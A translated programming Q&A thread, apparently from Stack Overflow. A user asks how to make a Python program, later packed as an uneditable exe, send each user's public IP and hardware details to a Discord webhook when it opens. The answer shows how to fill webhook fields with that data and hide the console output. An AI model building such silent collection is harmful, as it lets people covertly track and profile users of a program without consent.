Публикация в discord webhook из python

#python #discord #webhooks

#python #Discord #webhooks

Вопрос:

ПЕРЕПЕЧАТКА из-за того, что в основном никто не просматривает

В настоящее время я работаю над программой на Python, и я ищу данные компьютера пользователя для отправки на discord webhook, идея состоит в том, чтобы информация об оборудовании компьютера пользователя отправлялась на webhook, когда они открывают программу, она также отправляет их общедоступный IP-адрес, после того как у меня естьпрограмма выполнена, она будет преобразована в exe с помощью pyinstaller, чтобы люди могли ее открыть, но они не смогут ее редактировать. Пожалуйста, посмотрите код, который я пробовал ниже, и если кто-нибудь может отредактировать / изменить код, чтобы он работал и успешно отправлял пользовательские данные на webhook, это было бы огромной помощью! Спасибо

Я взял текст discord webhook из https://pypi.org/project/discord-webhook /

 #getting system info
ip = get('https://api.ipify.org').text
print('Ip address=: {}'.format(ip))
print("="*40, "System Information", "="*40)
uname = platform.uname()
print(f"System: {uname.system}")
print(f"Node Name: {uname.node}")
print(f"Release: {uname.release}")
print(f"Version: {uname.version}")
print(f"Machine: {uname.machine}")
print(f"Processor: {uname.processor}")
#Discord webhook stuff
from discord_webhook import DiscordWebhook, DiscordEmbed

webhook = DiscordWebhook(url="your webhook url", username="New Webhook Username")

embed = DiscordEmbed(
    title="Embed Title", description="Your Embed Description", color=242424
)
embed.set_author(
    name="Author Name",
    url="https://github.com/lovvskillz",
    icon_url="https://avatars0.githubusercontent.com/u/14542790",
)
embed.set_footer(text="Embed Footer Text")
embed.set_timestamp()
# Set `inline=False` for the embed field to occupy the whole line
embed.add_embed_field(name="System", value="Lorem ipsum", inline=False)
embed.add_embed_field(name="Name", value="dolor sit", inline=False)
embed.add_embed_field(name="Version", value="amet consetetur")
embed.add_embed_field(name="Processor", value="sadipscing elitr")

webhook.add_embed(embed)
response = webhook.execute()
The system info bit works fine on its own it prints out all the info that you can see, the tricky part is the Discord section as im stuck on how to send the system data over to the discord webhook rather than it just printing out into the console.
 

Любая помощь была бы отличной

Спасибо, Оливер

(Я удалил любую информацию, такую как discord webhook, который я использовал, чтобы люди не могли войти в него)

Ответ №1:

Вы можете просто удалить (или прокомментировать, поставив # перед) строку печати, чтобы ваш скрипт не печатал информацию на консоли.

Чтобы опубликовать информацию в вашем webhook, вы можете установить значения, которые содержатся в инструкции print, в value поле webhook. Пример:

  embed.add_embed_field(name="System", value=f"{uname.system}", inline=False)